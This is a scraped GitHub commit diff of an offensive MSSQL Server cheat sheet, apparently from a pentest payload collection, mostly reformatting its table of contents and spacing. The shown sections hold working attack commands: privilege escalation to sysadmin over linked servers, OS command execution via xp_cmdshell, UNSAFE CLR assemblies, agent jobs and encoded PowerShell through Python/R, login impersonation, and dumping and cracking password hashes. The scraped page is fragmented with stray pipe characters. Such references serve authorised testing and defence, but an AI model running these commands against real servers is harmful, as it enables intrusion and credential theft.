Swissky
GitHub
commit
9fe778c0b7
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@ -2,69 +2,72 @@
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## Summary
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* [Tools](#tools)
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* [Identify Instances and Databases](#identifiy-instaces-and-databases)
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* [Discover Local SQL Server Instances](#discover-local-sql-server-instances)
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* [Discover Domain SQL Server Instances](#discover-domain-sql-server-instances)
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* [Discover Remote SQL Server Instances](#discover-remote-sql-instances)
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* [Identify Encrypted databases](#identifiy-encrypted-databases)
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* [Version Query](#version-query)
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* [Identify Sensitive Information](#identify-sensitive-information)
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* [Get Tables from a Specific Database](#get-tables-from-specific-databases)
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* [Gather 5 Entries from Each Column](#gather-5-entries-from-each-column)
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* [Gather 5 Entries from a Specific Table](#gather-5-entries-from-a-specific-table)
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* [Dump common information from server to files](#dump-common-information-from-server-to-files)
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* [Linked Database](#linked-database)
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* [Find Trusted Link](#find-trusted-link)
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* [Execute Query Through The Link](#execute-query-through-the-link)
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* [Crawl Links for Instances in the Domain](#crawl-links-for-instances-in-the-domain)
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* [Crawl Links for a Specific Instance](#crawl-links-for-a-specific-instance)
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* [Query Version of Linked Database](#query-version-of-linked-database)
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* [Execute Procedure on Linked Database](#execute-procedure-on-linked-database)
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* [Determine Names of Linked Databases ](#determine-names-of-linked-databases)
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* [Determine All the Tables Names from a Selected Linked Database](#determine-all-the-tables-names-from-a-selected-linked-database)
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* [Gather the Top 5 Columns from a Selected Linked Table](#gather-the-top-5-columns-from-a-selected-linked-table)
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* [Gather Entries from a Selected Linked Column](#gather-entries-from-a-selected-linked-column)
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* [Command Execution via xp_cmdshell](#command-execution-via-xp_cmdshell)
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* [Extended Stored Procedure](#extended-stored-procedure)
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* [Add the extended stored procedure and list extended stored procedures](#add-the-extended-stored-procedure-and-list-extended-stored-procedures)
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* [CLR Assemblies](#clr-assemblies)
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* [Execute commands using CLR assembly](#execute-commands-using-clr-assembly)
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* [Manually creating a CLR DLL and importing it](#manually-creating-a-clr-dll-and-importing-it)
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* [OLE Automation](#ole-automation)
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* [Execute commands using OLE automation procedures](#execute-commands-using-ole-automation-procedures)
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* [Agent Jobs](#agent-jobs)
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* [Execute commands through SQL Agent Job service](#execute-commands-through-sql-agent-job-service)
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* [List All Jobs](#list-all-jobs)
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* [External Scripts](#external-scripts)
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* [Python](#python)
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* [R](#r)
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* [Audit Checks](#audit-checks)
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* [Find and exploit impersonation opportunities](#find-and-exploit-impersonation-opportunities)
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* [Find databases that have been configured as trustworthy](#find-databases-that-have-been-configured-as-trustworthy)
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* [Manual SQL Server Queries](#manual-sql-server-queries)
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* [Query Current User & determine if the user is a sysadmin](#query-current-user--determine-if-the-user-is-a-sysadmin)
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* [Current Role](#current-role)
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* [Current DB](#current-db)
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* [List all tables](#list-all-tables)
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* [List all databases](#list-all-databases)
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* [All Logins on Server](#all-logins-on-server)
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* [All Database Users for a Database](#all-database-users-for-a-database)
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* [List All Sysadmins](#list-all-sysadmins)
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* [List All Database Roles](#list-all-database-role)
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* [Effective Permissions from the Server](#effective-permissions-from-the-server)
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* [Effective Permissions from the Database](#effective-permissions-from-the-database)
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* [Find SQL Server Logins Which can be Impersonated for the Current Database](#find-sql-server-logins-which-can-be-impersonated-for-the-current-database)
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* [Exploiting Impersonation](#exploiting-impersonation)
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* [Exploiting Nested Impersonation](#exploiting-nested-impersonation)
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* [MSSQL Accounts and Hashes](#mssql-accounts-and-hashes)
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* [References](#references)
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- [MSSQL Server](#mssql-server)
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- [Summary](#summary)
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- [Tools](#tools)
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- [Identify Instances and Databases](#identify-instances-and-databases)
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- [Discover Local SQL Server Instances](#discover-local-sql-server-instances)
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- [Discover Domain SQL Server Instances](#discover-domain-sql-server-instances)
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- [Discover Remote SQL Server Instances](#discover-remote-sql-server-instances)
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- [Identify Encrypted databases](#identify-encrypted-databases)
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- [Version Query](#version-query)
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- [Identify Sensitive Information](#identify-sensitive-information)
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- [Get Tables from a Specific Database](#get-tables-from-a-specific-database)
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- [Gather 5 Entries from Each Column](#gather-5-entries-from-each-column)
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- [Gather 5 Entries from a Specific Table](#gather-5-entries-from-a-specific-table)
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- [Dump common information from server to files](#dump-common-information-from-server-to-files)
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- [Linked Database](#linked-database)
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- [Find Trusted Link](#find-trusted-link)
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- [Execute Query Through The Link](#execute-query-through-the-link)
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- [Crawl Links for Instances in the Domain](#crawl-links-for-instances-in-the-domain)
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- [Crawl Links for a Specific Instance](#crawl-links-for-a-specific-instance)
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- [Query Version of Linked Database](#query-version-of-linked-database)
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- [Execute Procedure on Linked Database](#execute-procedure-on-linked-database)
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- [Determine Names of Linked Databases](#determine-names-of-linked-databases)
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- [Determine All the Tables Names from a Selected Linked Database](#determine-all-the-tables-names-from-a-selected-linked-database)
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- [Gather the Top 5 Columns from a Selected Linked Table](#gather-the-top-5-columns-from-a-selected-linked-table)
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- [Gather Entries from a Selected Linked Column](#gather-entries-from-a-selected-linked-column)
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- [Command Execution via xp\_cmdshell](#command-execution-via-xp_cmdshell)
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- [Extended Stored Procedure](#extended-stored-procedure)
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- [Add the extended stored procedure and list extended stored procedures](#add-the-extended-stored-procedure-and-list-extended-stored-procedures)
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- [CLR Assemblies](#clr-assemblies)
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- [Execute commands using CLR assembly](#execute-commands-using-clr-assembly)
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- [Manually creating a CLR DLL and importing it](#manually-creating-a-clr-dll-and-importing-it)
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- [OLE Automation](#ole-automation)
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- [Execute commands using OLE automation procedures](#execute-commands-using-ole-automation-procedures)
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- [Agent Jobs](#agent-jobs)
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- [Execute commands through SQL Agent Job service](#execute-commands-through-sql-agent-job-service)
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- [List All Jobs](#list-all-jobs)
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- [External Scripts](#external-scripts)
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- [Python](#python)
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- [R](#r)
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- [Audit Checks](#audit-checks)
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- [Find and exploit impersonation opportunities](#find-and-exploit-impersonation-opportunities)
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- [Find databases that have been configured as trustworthy](#find-databases-that-have-been-configured-as-trustworthy)
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- [Manual SQL Server Queries](#manual-sql-server-queries)
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- [Query Current User \& determine if the user is a sysadmin](#query-current-user--determine-if-the-user-is-a-sysadmin)
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- [Current Role](#current-role)
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- [Current DB](#current-db)
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- [List all tables](#list-all-tables)
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- [List all databases](#list-all-databases)
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- [All Logins on Server](#all-logins-on-server)
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- [All Database Users for a Database](#all-database-users-for-a-database)
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- [List All Sysadmins](#list-all-sysadmins)
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- [List All Database Roles](#list-all-database-roles)
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- [Effective Permissions from the Server](#effective-permissions-from-the-server)
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- [Effective Permissions from the Database](#effective-permissions-from-the-database)
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- [Find SQL Server Logins Which can be Impersonated for the Current Database](#find-sql-server-logins-which-can-be-impersonated-for-the-current-database)
|
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- [Exploiting Impersonation](#exploiting-impersonation)
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- [Exploiting Nested Impersonation](#exploiting-nested-impersonation)
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- [MSSQL Accounts and Hashes](#mssql-accounts-and-hashes)
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- [References](#references)
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## Tools
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* [NetSPI/PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) - A PowerShell Toolkit for Attacking SQL Server
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* [skahwah/SQLRecon](https://github.com/skahwah/SQLRecon/) - A C# MS SQL toolkit designed for offensive reconnaissance and post-exploitation.
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## Identify Instances and Databases
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### Discover Local SQL Server Instances
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@ -73,6 +76,7 @@
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Get-SQLInstanceLocal
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```
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### Discover Domain SQL Server Instances
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```ps1
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@ -140,10 +144,12 @@ Invoke-SQLDumpInfo -Verbose -Instance SQLSERVER1\Instance1 -csv
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### Find Trusted Link
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```sql
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select * from master..sysservers
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```
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### Execute Query Through The Link
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```sql
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@ -164,6 +170,7 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
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```
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### Crawl Links for Instances in the Domain
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A Valid Link Will Be Identified by the DatabaseLinkName Field in the Results
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@ -172,6 +179,7 @@ Get-SQLInstanceDomain | Get-SQLServerLink -Verbose
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select * from master..sysservers
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```
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### Crawl Links for a Specific Instance
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```ps1
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@ -179,13 +187,14 @@ Get-SQLServerLinkCrawl -Instance "<DBSERVERNAME\DBInstance>" -Verbose
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select * from openquery("<instance>",'select * from openquery("<instance2>",''select * from master..sysservers'')')
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```
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### Query Version of Linked Database
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### Query Version of Linked Database
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```ps1
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Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DBSERVERNAME\DBInstance>`",'select @@version')" -Verbose
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```
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### Execute Procedure on Linked Database
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```ps1
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@ -196,6 +205,7 @@ SQL> EXECUTE('RECONFIGURE') at "linked.database.local";
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SQL> EXECUTE('exec xp_cmdshell whoami') at "linked.database.local";
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```
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### Determine Names of Linked Databases
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> tempdb, model ,and msdb are default databases usually not worth looking into. Master is also default but may have something and anything else is custom and definitely worth digging into. The result is DatabaseName which feeds into following query.
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@ -204,6 +214,7 @@ SQL> EXECUTE('exec xp_cmdshell whoami') at "linked.database.local";
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Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select name from sys.databases')" -Verbose
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```
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### Determine All the Tables Names from a Selected Linked Database
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> The result is TableName which feeds into following query
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@ -213,6 +224,7 @@ Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openque
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Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select name from <DatabaseNameFromPreviousCommand>.sys.tables')" -Verbose
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```
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### Gather the Top 5 Columns from a Selected Linked Table
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> The results are ColumnName and ColumnValue which feed into following query
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@ -287,15 +299,18 @@ Get-SQLStoredProcedureXP -Instance "<DBSERVERNAME\DBInstance>" -Verbose
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sp_dropextendedproc 'xp_calc'
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```
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## CLR Assemblies
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Prerequisites:
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* sysadmin privileges
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* CREATE ASSEMBLY permission (or)
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* ALTER ASSEMBLY permission (or)
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The execution takes place with privileges of the **service account**.
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### Execute commands using CLR assembly
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```ps1
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@ -311,6 +326,7 @@ Invoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\
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Get-SQLStoredProcedureCLR -Instance <instance> -Verbose
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```
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### Manually creating a CLR DLL and importing it
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Create a C# DLL file with the following content, with the command : `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\cmd_exec.cs`
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@ -372,18 +388,22 @@ Then follow these instructions:
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RECONFIGURE
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GO
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```
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3. Import the assembly
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3. Trust the assembly by adding its SHA512 hash
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```sql
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EXEC sys.sp_add_trusted_assembly 0x[SHA512], N'assembly';
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```
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4. Import the assembly
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```sql
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CREATE ASSEMBLY my_assembly
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FROM 'c:\temp\cmd_exec.dll'
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WITH PERMISSION_SET = UNSAFE;
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```
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4. Link the assembly to a stored procedure
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5. Link the assembly to a stored procedure
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```sql
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CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
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GO
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```
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5. Execute and clean
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6. Execute and clean
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```sql
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cmd_exec "whoami"
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DROP PROCEDURE cmd_exec
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@ -399,11 +419,13 @@ WITH PERMISSION_SET = UNSAFE
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GO
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```
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## OLE Automation
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* :warning: Disabled by default
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* The execution takes place with privileges of the **service account**.
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### Execute commands using OLE automation procedures
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```ps1
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@ -439,6 +461,8 @@ SQL> upload reciclador.dll C:\windows\temp\reciclador.dll
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* The execution takes place with privileges of the **SQL Server Agent service account** if a proxy account is not configured.
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* :warning: Require **sysadmin** or **SQLAgentUserRole**, **SQLAgentReaderRole**, and **SQLAgentOperatorRole** roles to create a job.
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### Execute commands through SQL Agent Job service
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```ps1
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@ -461,6 +485,7 @@ EXEC dbo.sp_start_job N'test_powershell_job1';
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EXEC dbo.sp_delete_job @job_name = N'test_powershell_job1';
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```
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### List All Jobs
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```ps1
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@ -469,16 +494,21 @@ SELECT job.job_id, notify_level_email, name, enabled, description, step_name, co
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Get-SQLAgentJob -Instance "<DBSERVERNAME\DBInstance>" -username sa -Password Password1234 -Verbose
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```
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## External Scripts
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:warning: You need to enable **external scripts**.
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Requirements:
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* Feature 'Advanced Analytics Extensions' must be installed
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* Enable **external scripts**.
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```sql
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sp_configure 'external scripts enabled', 1;
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RECONFIGURE;
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```
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## Python:
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### Python
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|
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```ps1
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Invoke-SQLOSCmdPython -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64encodedscript>" -Verbose
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|
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@ -487,7 +517,8 @@ EXEC sp_execute_external_script @language =N'Python',@script=N'import subprocess
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WITH RESULT SETS (([cmd_out] nvarchar(max)))
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```
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|
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## R
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|
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### R
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|
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```ps1
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Invoke-SQLOSCmdR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64encodedscript>" -Verbose
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|
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@ -499,6 +530,7 @@ GO
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@script=N'OutputDataSet <-data.frame(shell("dir",intern=T))'
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```
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|
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## Audit Checks
|
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|
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|
||||
|
|
@ -519,6 +551,7 @@ Invoke-SQLAuditPrivImpersonateLogin -Username sa -Password Password1234 -Instanc
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powerpick Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "EXECUTE AS LOGIN = 'sa'; SELECT IS_SRVROLEMEMBER(''sysadmin'')" -Verbose -Debug
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```
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|
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|
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## Find databases that have been configured as trustworthy
|
||||
|
||||
```sql
|
||||
|
|
@ -535,6 +568,7 @@ Invoke-SQLUncPathInjection
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Invoke-SQLAuditPrivXpFileexist
|
||||
```
|
||||
|
||||
|
||||
## Manual SQL Server Queries
|
||||
|
||||
### Query Current User & determine if the user is a sysadmin
|
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|
|
@ -545,48 +579,56 @@ Select system_user
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select is_srvrolemember('sysadmin')
|
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```
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|
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|
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### Current Role
|
||||
|
||||
```sql
|
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Select user
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```
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|
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|
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### Current DB
|
||||
|
||||
```sql
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select db_name()
|
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```
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|
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|
||||
### List all tables
|
||||
|
||||
```sql
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select table_name from information_schema.tables
|
||||
```
|
||||
|
||||
|
||||
### List all databases
|
||||
|
||||
```sql
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||||
select name from master..sysdatabases
|
||||
```
|
||||
|
||||
|
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### All Logins on Server
|
||||
|
||||
```sql
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||||
Select * from sys.server_principals where type_desc != 'SERVER_ROLE'
|
||||
```
|
||||
|
||||
|
||||
### All Database Users for a Database
|
||||
|
||||
```sql
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||||
Select * from sys.database_principals where type_desc != 'database_role';
|
||||
```
|
||||
|
||||
|
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### List All Sysadmins
|
||||
|
||||
```sql
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SELECT name,type_desc,is_disabled FROM sys.server_principals WHERE IS_SRVROLEMEMBER ('sysadmin',name) = 1
|
||||
```
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||||
|
||||
|
||||
### List All Database Roles
|
||||
|
||||
```sql
|
||||
|
|
@ -601,18 +643,21 @@ WHERE DB1.type = 'R'
|
|||
ORDER BY DB1.name;
|
||||
```
|
||||
|
||||
|
||||
### Effective Permissions from the Server
|
||||
|
||||
```sql
|
||||
select * from fn_my_permissions(null, 'server');
|
||||
```
|
||||
|
||||
|
||||
### Effective Permissions from the Database
|
||||
|
||||
```sql
|
||||
SELECT * FROM fn_dp1my_permissions(NULL, 'DATABASE');
|
||||
```
|
||||
|
||||
|
||||
### Find SQL Server Logins Which can be Impersonated for the Current Database
|
||||
|
||||
```sql
|
||||
|
|
@ -623,6 +668,7 @@ on a.grantor_principal_id = b.principal_id
|
|||
where a.permission_name = 'impersonate'
|
||||
```
|
||||
|
||||
|
||||
### Exploiting Impersonation
|
||||
|
||||
```sql
|
||||
|
|
@ -634,6 +680,7 @@ SELECT IS_SRVROLEMEMBER('sysadmin')
|
|||
SELECT ORIGINAL_LOGIN()
|
||||
```
|
||||
|
||||
|
||||
### Exploiting Nested Impersonation
|
||||
|
||||
```sql
|
||||
|
|
@ -647,6 +694,7 @@ SELECT ORIGINAL_LOGIN()
|
|||
SELECT SYSTEM_USER
|
||||
```
|
||||
|
||||
|
||||
### MSSQL Accounts and Hashes
|
||||
|
||||
```sql
|
||||
|
|
@ -673,4 +721,4 @@ Then crack passwords using Hashcat : `hashcat -m 1731 -a 0 mssql_hashes_hashcat.
|
|||
* [PowerUpSQL Cheat Sheet & SQL Server Queries - Leo Pitt](https://medium.com/@D00MFist/powerupsql-cheat-sheet-sql-server-queries-40e1c418edc3)
|
||||
* [PowerUpSQL Cheat Sheet - Scott Sutherland](https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet)
|
||||
* [Attacking SQL Server CLR Assemblies - Scott Sutherland - July 13th, 2017](https://blog.netspi.com/attacking-sql-server-clr-assemblies/)
|
||||
* [MSSQL Agent Jobs for Command Execution - Nicholas Popovich - September 21, 2016](https://www.optiv.com/explore-optiv-insights/blog/mssql-agent-jobs-command-execution)
|
||||
* [MSSQL Agent Jobs for Command Execution - Nicholas Popovich - September 21, 2016](https://www.optiv.com/explore-optiv-insights/blog/mssql-agent-jobs-command-execution)
|
||||
|
|
|
|||
Loading…
Reference in New Issue